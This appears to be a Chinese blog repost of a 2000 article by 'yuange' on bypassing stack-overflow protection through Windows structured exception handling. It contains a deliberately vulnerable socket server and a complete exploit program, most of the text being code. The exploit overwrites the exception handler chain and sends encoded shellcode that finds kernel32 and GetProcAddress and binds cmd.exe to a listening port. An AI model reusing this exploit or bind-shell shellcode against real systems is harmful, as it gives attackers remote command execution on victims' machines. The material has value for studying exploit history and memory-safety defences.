C语言 利用异常绕过溢出保护攻击程序例子

 袁哥
                   

  像溢出攻击,虽然已经是发展了那么多年了,但其shellcode编写也差不多是那么一个模式。写出汇编,编译,得到二进制代码,修改汇编,编译,再得到二进制代码,最后用\0aa\0xbb的形式把二进制代码写到攻击程序里面。这在unix等下面一般shellcode要求比较简单,那还勉强过得去,但如果应用限制,shellcode代码不能包含一些特殊字符那又是一个麻烦的调试、修改过程。还有溢出攻击的溢出点、怎么跳到shellcode,虽然unix下面已经比较多的办法了,但感觉也没怎么统一的考虑过,很多人也没有去理解溢出攻击。还有溢出过程形参被覆盖后不能返回的情况,也没怎么仔细考虑。

  个人的理解溢出攻击只是通过外部条进改变了程序原来流程,而考虑这个改变程序流程就不只是溢出了,溢出攻击只是一个比较容易让程序改变并且按我们意愿运行的比较方便的办法,还有一些边界条进,函数指针等都可能引起程序流程改变。像缓冲溢出覆盖形式参数不能返回的问题,我们攻击是改变的程序流程,这个流程方向不能返回了,那到底有别的流程没有?就可以考虑程序流程的别的线。这点unix下面有信号机制,WINDOWS下面也有异常结构处理,这些都是程序运行的另一个隐蔽的流程。想到这了就可以有解决办法了。
  其实UNIX等下面发展的比较好的一些保护缓冲溢出的办法很多也相应有了一些破解思路。像堆栈里面加上随机数等的办法,就是检测溢出后不让其返回到溢出代码,这与形参被覆盖不能返回不就是一样的吗。这在windows下面就很好的可以绕过了,UNIX没有具体看代码,还没有实现细节。

    下面程序有溢出,但因为检测了变量j,发现有溢出就提示后退出,用于模拟一些溢出保护或者因形参被覆盖不能返回的情况。对于这个程序我们一般的溢出攻击就不能成功。

/*
   利用异常结构绕过溢出保护攻击的有问题的例子程序except.c。
   vc6.0下编译。
   yuange@nsfocus.com

*/
#include <windows.h>
#include <winsock.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  int  j;
  char *str;
  char buff1[0x0f80];
  char buff2[0x1000];
  struct sockaddr_in   s_in;
  struct sockaddr      addr;
  SOCKET               fd ,fd1;
  u_short              port;
  int                  result,i,recvbytes;
  WSADATA              wsaData;
    
  result = WSAStartup(MAKEWORD(1, 1), &wsaData);
  if (result != 0) {
     printf(“\n SOCKET err!\n “);
     exit(1);
  }
  j=0;
  str=argv[0];
  if(argc>1) port=atoi(argv[1]);
  else port=1080;
  fd = socket(AF_INET, SOCK_STREAM,0);
  s_in.sin_family = AF_INET;
  s_in.sin_port = htons(port);
  s_in.sin_addr.s_addr = 0;

  bind(fd,&s_in,sizeof(s_in));
  listen(fd,10);
  
  i=sizeof(addr);
  fd1=accept(fd,&addr,&i);

  recvbytes=recv(fd1,buff2,0×1000,0);
  if(recvbytes>0){
     buff2[recvbytes]=0;
     buff2[0x1000-1]=0;
            printf(“\n recv 0x%x bytes \n”,recvbytes);
            strcpy(buff1,buff2);
     printf(“\n the program %s recv :\n %s \n “,argv[0],buff2);
  }
  closesocket(fd1);
  closesocket(fd);
  WSACleanup( );

  if(j!=0){
/*
溢出后会覆盖j,被检测到,这就相当于一些溢出保护
*/
          printf(“\n the program %s buffover err !”,argv[0]);
/*
这儿溢出后可能因为argv[0]被覆盖,而发生异常,
具体环境这代码可能在前面。
这就相当于形参被破坏。
*/
         exit(1);
  }

}

下面是攻击程序:

/*
   利用异常结构绕过溢出保护攻击的攻击程序exover.c。
   有问题程序运行环境winnt、win2000。
   vc6.0下调试通过编译。
   yuange@nsfocus.com
*/

/*   except overflow program ver 1.0
     copy by yuange <yuange@163.net>  2000。06。20
*/   

#include <windows.h>
#include <winsock.h>
#include <stdio.h>

#define  FNENDLONG     0×08
#define  NOPCODE      0×90
#define  NOPLONG       0×20
#define  BUFFSIZE      0×20000
#define  RETEIPADDRESS 0×0
#define  SHELLPORT     0×1f90   //0×1f90=8080
#define  WEBPORT       1080  

void     shellcodefnlock();
void     shellcodefn();

void     cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len);

int main(int argc, char **argv)
{
  char *server;
  char *str=”\x1f\x90″”LoadLibraryA”"\x0″”CreatePipe”"\x0″
       ”CreateProcessA”"\x0″”CloseHandle”"\x0″
       ”PeekNamedPipe”"\x0″
       ”ReadFile”"\x0″”WriteFile”"\x0″
       ”wsock32.dll”"\x0″”socket”"\x0″
       ”bind”"\x0″”listen”"\x0″
       ”accept”"\x0″”send”"\x0″
       ”recv”"\x0″”ioctlsocket”"\x0″
       ”closesocket”"\x0″
       ”cmd.exe”"\x0″”exit\x0d\x0a”"\x0″
       ”strend”;
/*  shellcode用到的api名等字符串 */

  char *fnendstr=”\x90\x90\x90\x90\x90\x90\x90\x90\x90″;
  char  eipwinnt[]=”\x63\x0d\xfa\x7f”;    // jmp ebx
/*
发生异常时ebx指向异常结构,
*/
  char  JMPNEXTJMP[]=”\xeb\x06\x90\x90″;
  char  JMPSHELL[]=”\xe9\x40\xf0\xff\xff”;
  
  char    buff[BUFFSIZE];
  char    recvbuff[BUFFSIZE];
  char    shellcodebuff[0x1000];
  struct  sockaddr_in s_in2,s_in3;
  struct  hostent *he;
  char    *shellcodefnadd,*chkespadd;
  unsigned  int sendpacketlong;
  int i,j,k;
  unsigned  char temp;
  int     fd;
  u_short port,port1,shellcodeport;
  SOCKET  d_ip;
  WSADATA wsaData;
  int offset=0;
  int OVERADD=RETEIPADDRESS;
  int OVERADD2=0xfb8;
  int result= WSAStartup(MAKEWORD(1, 1), &wsaData);
  if (result != 0) {
        fprintf(stderr, “Your computer was not connected “
            ”to the Internet at the time that “
            ”this program was launched, or you “
            ”do not have a 32-bit “
            ”connection to the Internet.”);
        exit(1);
    }

  if(argc>3)  port=atoi(argv[3]);
  else  port=WEBPORT;

  if(argc <2){
       WSACleanup( );    
       fprintf(stderr, “\n except over 1.0.\n copy by yuange 2000.06.20. \n welcome to my homepage http://yuange.yeah.net .”);
       fprintf(stderr, “\n usage: %s <server> [shellport] [webport] \n”, argv[0]);
       exit(1);
  }
  else  server = argv[1];
  d_ip = inet_addr(server);
  if(d_ip==-1){
     he = gethostbyname(server);
     if(!he)
     {
       WSACleanup( );
       printf(“\n Can’t get the ip of %s !\n”,server);
       exit(1);     
     }
     else    memcpy(&d_ip, he->h_addr, 4);
  }     
// port=WEBPORT;

  fd = socket(AF_INET, SOCK_STREAM,0);
  i=8000;
  setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));
         
  s_in3.sin_family = AF_INET;
  s_in3.sin_port = htons(port);
  s_in3.sin_addr.s_addr = d_ip;
  printf(“\n nuke ip: %s port %d”,inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));
  
if(connect(fd, (struct sockaddr *)&s_in3, sizeof(struct sockaddr_in))!=0)
{        
     closesocket(fd);
     WSACleanup( );
     fprintf(stderr,”\n  connect err.”);
     exit(1);
}
  
  _asm{
         mov ESI,ESP
         cmp ESI,ESP
  }
  _chkesp();
  chkespadd=_chkesp;
  temp=*chkespadd;
  if(temp==0xe9) {
         ++chkespadd;
          i=*(int*)chkespadd;
         chkespadd+=i;
         chkespadd+=4;
  }

  shellcodefnadd=shellcodefnlock;
  temp=*shellcodefnadd;
  if(temp==0xe9) {
         ++shellcodefnadd;
         k=*(int *)shellcodefnadd;
         shellcodefnadd+=k;
         shellcodefnadd+=4;
  }

  for(k=0;k<=0×500;++k){
       if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
  }

  memset(buff,NOPCODE,BUFFSIZE);
  memcpy(buff+OVERADD+NOPLONG,shellcodefnadd+k+4,0×80);
     
  shellcodefnadd=shellcodefn;
  temp=*shellcodefnadd;
  if(temp==0xe9) {
    ++shellcodefnadd;
    k=*(int *)shellcodefnadd;
           shellcodefnadd+=k;
    shellcodefnadd+=4;
  }
  

  for(k=0;k<=0×1000;++k){
    if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
  }

  memcpy(shellcodebuff,shellcodefnadd,k);   //j);
  cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);
  for(i=0;i<0×400;++i){
    if(memcmp(str+i,”strend”,6)==0) break;
  }     
  memcpy(shellcodebuff+k,str,i);

  if(argc>2)  shellcodeport=atoi(argv[2]);
  else        shellcodeport=SHELLPORT;

  if(shellcodeport==0) shellcodeport=SHELLPORT;
  shellcodeport=htons(shellcodeport);
  *(u_short *)(shellcodebuff+k)=shellcodeport;
  fprintf(stderr,”\n shellport %d”,htons(shellcodeport));

  sendpacketlong=k+i;
  for(k=0;k<=0×200;++k){
         if(memcmp(buff+OVERADD+NOPLONG+k,fnendstr,FNENDLONG)==0) break;
  }

  for(i=0;i<sendpacketlong;++i){
      temp=shellcodebuff[i];
      if(temp<=0×10||temp==’0′){
/*    对shellcode的特殊字符编码   */
       buff[OVERADD+NOPLONG+k]=’0′;
       ++k;
       temp+=0×40;
      }
      buff[OVERADD+NOPLONG+k]=temp;
      ++k;
}

  
// for(i=0;i<0×180;i+=4){
    memcpy(buff+OVERADD2,JMPNEXTJMP,4);
/*
  覆盖异常结构的下一个异常链next数据,发生异常时ebx制向这
  与通常的发生溢出时ESP指向溢出代码附近不一样,发生异常时
  的ESP不在这附近
*/   

// }
  memcpy(buff+OVERADD2+4,eipwinnt,4);
/*
覆盖异常结构的程序指针
发生异常时会转到这指针去运行
这覆盖的是一个jmp ebx指令的地址
就是跳到上面那个地址去运行了。
因为那就只有4字节,所以用了近跳转指令跳到下面这个地址运行
*/
  memcpy(buff+OVERADD2+8,JMPSHELL,5);
/*
  跳到shellcode去的跳转代码,远跳转,5字节代码,
  因为前面EBX指向地址只有4字节放不下,所以前面跳
  到这,再由这跳到shellcode。
*/
  sendpacketlong=0×1000-0×30;
//  sendpacketlong=strlen(buff);

  for(i=0;i<1;++i){
        j=sendpacketlong;
        fprintf(stderr,”\n send  packet %d bytes.”,j);
        send(fd,buff,j,0);
        k=recv(fd,recvbuff,0×1000,0);
        if(k>0){
       recvbuff[k]=0;
       fprintf(stderr,”\n  recv:\n %s”,recvbuff);
        }
  }
  closesocket(fd);
  WSACleanup( );
  return(0);
}

void  shellcodefnlock()
{
       _asm{
              nop
              nop
              nop
              nop
              nop
              nop
              nop
              nop
/* 用于定位下面一小段汇编指令的NOP 串 */
              jmp   next
getediadd:              pop   EDI
              push  EDI
              pop   ESI
              xor   ecx,ecx
              mov   cx,0×0fd0
looplock:            lodsb
        cmp   al,0×30
        jnz   sto
                     lodsb
        sub   al,0×40
sto:                 stosb
        loop  looplock
        jmp   shell
next:                call  getediadd
/*  解码shellcode */
shell:         NOP
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
              
    }
}         

/* 真正实现功能的shellcode */
/* 本shellcode实现开端口绑定cmd.exe 的功能 */
void shellcodefn()
{    char        Buff[0x800];
    int         *except[3];

    FARPROC     closesocketadd;
    FARPROC     ioctlsocketadd;
    FARPROC     recvadd;
           FARPROC     sendadd;
           FARPROC     acceptadd;
           FARPROC     listenadd;
           FARPROC     bindadd;
      FARPROC        socketadd;
//    FARPROC     WSAStartupadd;

    FARPROC        NOPNOP;

    FARPROC     WriteFileadd;
    FARPROC     ReadFileadd;
    FARPROC     PeekNamedPipeadd;
    FARPROC     CloseHandleadd;
    FARPROC     CreateProcessadd;
    FARPROC     CreatePipeadd;
    FARPROC     procloadlib;

    FARPROC     apifnadd[1];
    FARPROC     procgetadd=0;
    
    char        *stradd;
    int         imgbase,fnbase,k,l;
    HANDLE      libhandle;   //libwsock32;  
           STARTUPINFO siinfo;
           SOCKET      listenFD,clientFD;
           struct      sockaddr_in server;
           int         iAddrSize = sizeof(server);
    int         lBytesRead;
    u_short     shellcodeport;

           PROCESS_INFORMATION ProcessInformation;
           HANDLE      hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
           SECURITY_ATTRIBUTES sa;
    _asm {     jmp    nextcall
         getstradd:   pop    stradd
                      lea    EDI,except
                    mov    eax,dword ptr FS:[0]
        mov    dword ptr [edi+0x08],eax
        mov    dword ptr FS:[0],EDI
                      
    }
       except[0]=0xffffffff;
       except[1]=stradd-0×07;

       imgbase=0×77e00000;
       _asm{
          call getexceptretadd
       }
for(;imgbase<0xbffa0000,procgetadd==0;){
     imgbase+=0×10000;
     if(imgbase==0×78000000) imgbase=0xbff00000;
     if(*( WORD *)imgbase==’ZM’&& *(WORD *)(imgbase+*(int *)(imgbase+0×3c))==’EP’){
    fnbase=*(int *)(imgbase+*(int *)(imgbase+0×3c)+0×78)+imgbase;
    k=*(int *)(fnbase+0xc)+imgbase;
    if(*(int *)k ==’NREK’&&*(int *)(k+4)==’23LE’){
        libhandle=imgbase;
       k=imgbase+*(int *)(fnbase+0×20);
       for(l=0;l<*(int *) (fnbase+0×18);++l,k+=4){
          if(*(int *)(imgbase+*(int *)k)==’PteG’&&*(int *)(4+imgbase+*(int *)k)==’Acor’){
             k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0×24));
             k+=*(int *)(fnbase+0×10)-1;
             k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0×1c));
             procgetadd=k+imgbase;
             break;
           }
        }
    }
        }
    }
// 搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址
// 注意这儿处理了搜索页面不在情况。

  _asm{
           lea edi,except
           mov eax,dword ptr [edi+0x08]   
    mov dword ptr fs:[0],eax
   }

       
   if(procgetadd==0) goto  die ;

   shellcodeport=*(u_short *)stradd;
   stradd+=2;
   for(k=1;k<17;++k) {
    if(k==8) libhandle=procloadlib(stradd);
    else     apifnadd[k]=procgetadd(libhandle,stradd);
    for(;;++stradd){
         if(*(stradd)==0&&*(stradd+1)!=0) break;
    }
    ++stradd;
   }

//           WSAStartupadd(MAKEWORD(1, 1), &wsaData);

            listenFD = socketadd(AF_INET,SOCK_STREAM,IPPROTO_TCP);
            server.sin_family = AF_INET;
            server.sin_port =shellcodeport;
            //SHELLPORT;
            server.sin_addr.s_addr=0;
        k=1;
     while(k!=0){
          k=bindadd(listenFD,&server,sizeof(server));
                 server.sin_port+=0×100;
          if(server.sin_port<0×100) ++server.sin_port;
            }
     listenadd(listenFD,10);

while(1){
            sa.nLength=12;
            sa.lpSecurityDescriptor=0;
            sa.bInheritHandle=TRUE;

            CreatePipeadd(&hReadPipe1,&hWritePipe1,&sa,0);
            CreatePipeadd(&hReadPipe2,&hWritePipe2,&sa,0);

// ZeroMemory(&siinfo,sizeof(siinfo));
            _asm{
                 lea EDI,siinfo
                xor eax,eax
                mov ecx,0×11
                repnz stosd
            }
    siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    siinfo.wShowWindow = SW_HIDE;
    siinfo.hStdInput = hReadPipe2;
    siinfo.hStdOutput=hWritePipe1;
    siinfo.hStdError =hWritePipe1;

//   k=0;
//    while(k==0)
//    {
    k=CreateProcessadd(NULL,stradd,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);
//        stradd+=8;
//    }    
    PeekNamedPipeadd(hReadPipe1,Buff,1024,&lBytesRead,0,0);

//  while(1){
    clientFD=acceptadd(listenFD,&server,&iAddrSize);
//  closesocketadd(listenFD);
   
//     k=1;
//     ioctlsocketadd(clientFD, FIONBIO, &k);
//还是阻塞模式比较好,占用CPU时间少,要不下面死掉的时候就老占用CPU,造成受攻击系统反应比较慢。
    while(1) {
        PeekNamedPipeadd(hReadPipe1,Buff,1024,&lBytesRead,0,0);
        if(lBytesRead>0) {
              ReadFileadd(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
              if(lBytesRead>0) sendadd(clientFD,Buff,lBytesRead,0);
              else sendadd(clientFD,stradd,8,0);
        }
        else {
            lBytesRead=recvadd(clientFD,Buff,1024,0);

            if(lBytesRead<=0){
//                    CloseHandleadd(ProcessInformation.hProcess);  //.dwProcessId);
                   lBytesRead=6;
                   WriteFileadd(hWritePipe2,stradd+8,lBytesRead,&lBytesRead,0);
                   closesocketadd(clientFD);
                   break;  //TELNET连接中断,退出等到再一次连接
            }
            else{
                   sendadd(clientFD,Buff,lBytesRead,0);
//回显,有些TELNET不能设置本地响应会看不到命令输入很不方便。
   //     if(lBytesRead>0)
                   WriteFileadd(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
            }
        }
    }
}
  

      die: goto die  ;
        _asm{

getexceptretadd:   pop  eax
            push eax
            mov  edi,dword ptr [stradd]
            mov dword ptr [edi-0x0e],eax
            ret
errprogram:        mov eax,dword ptr [esp+0x0c]
            add eax,0xb8
            mov dword ptr [eax],0×11223344  //stradd-0xe
            xor eax,eax        //2
            ret        //1
execptprogram:     jmp errprogram    //2 bytes     stradd-7
nextcall:          call getstradd    //5 bytes
            NOP
            NOP
            NOP
            NOP
            NOP
            NOP
            NOP
            NOP
            NOP
    }        
}

void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len)
{
   int i,k;
   unsigned char temp;
   char *calladd;

   for(i=0;i<len;++i){
       temp=shellbuff[i];
       if(temp==0xe8){
             k=*(int *)(shellbuff+i+1);
        calladd=fnadd;
      calladd+=k;
      calladd+=i;
      calladd+=5;
      if(calladd==chkesp){
              shellbuff[i]=0×90;
              shellbuff[i+1]=0×43;   // inc ebx
        shellbuff[i+2]=0×4b;    // dec ebx
        shellbuff[i+3]=0×43;
        shellbuff[i+4]=0×4b;
       }
        }
   }
}


  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值